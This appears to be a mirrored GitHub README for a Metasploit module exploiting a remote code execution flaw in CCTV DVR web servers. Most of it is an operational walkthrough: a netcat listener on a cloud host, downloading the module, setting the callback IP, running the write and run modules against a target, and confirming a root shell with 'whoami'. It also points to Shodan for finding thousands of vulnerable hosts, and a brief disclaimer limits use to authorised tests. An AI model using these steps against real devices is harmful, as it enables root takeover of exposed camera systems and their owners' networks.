Giter Club home page Giter Club logo

cctv-remote-code-execution-metasploit-module's Introduction

CCTV-Remote-Code-Execution-Metasploit-Module

This code is adapted from the genius Rotem Kerner's python exploit into 2 metasploit modules to allow for easy pen testing of systems that utilise CCTV DVR's. If you go onto shodan.io and type in Cross Web Server, there are thousands of vulnerable CCTV DVR web hosts, many of them presumably already exploited. This exploit should only be used for ethical, legal and authorised penetration tests.

http://www.kerneronsec.com/2016/02/remote-code-execution-in-cctv-dvrs-of.html

Instructions for Use:

Set up a cloud host or web facing IP.

Step 1:

On this cloud host type

nc -l 666

On another host, or the same host in another window (making sure metasploit is installed)

Step 1:

cd /usr/share/metasploit-framework/modules/exploits/linux/http

Step 2:

 wget https://github.com/freddiebarrsmith/CCTV-Remote-Code-Execution-Metasploit-Module/archive/master.zip && unzip -j master.zip 

Step 3:

edit the line containing host = "192.168.0.1" inside CCTV_DVRwrite.rb to be the ip of your cloud host

Step 4:

type

msfconsole

Step 5:

use exploit/linux/http/CCTV_DVRwrite 
set RHOST yourtargethost.com
set RPORT 81 
exploit

(then wait for it to execute, ignore errors for the most part)

Step 6:

use exploit/linux/http/CCTV_DVRrun 
set RHOST yourtargethost.com 
set RPORT 81 
exploit

(then wait for it to execute, ignore errors for the most part)

Step 7:

go back to your cloud or web-facing ip netcat session and type in:

whoami

to get the answer

root

if the exploit executed succesfully

cctv-remote-code-execution-metasploit-module's People

Contributors

freddiebarrsmith avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.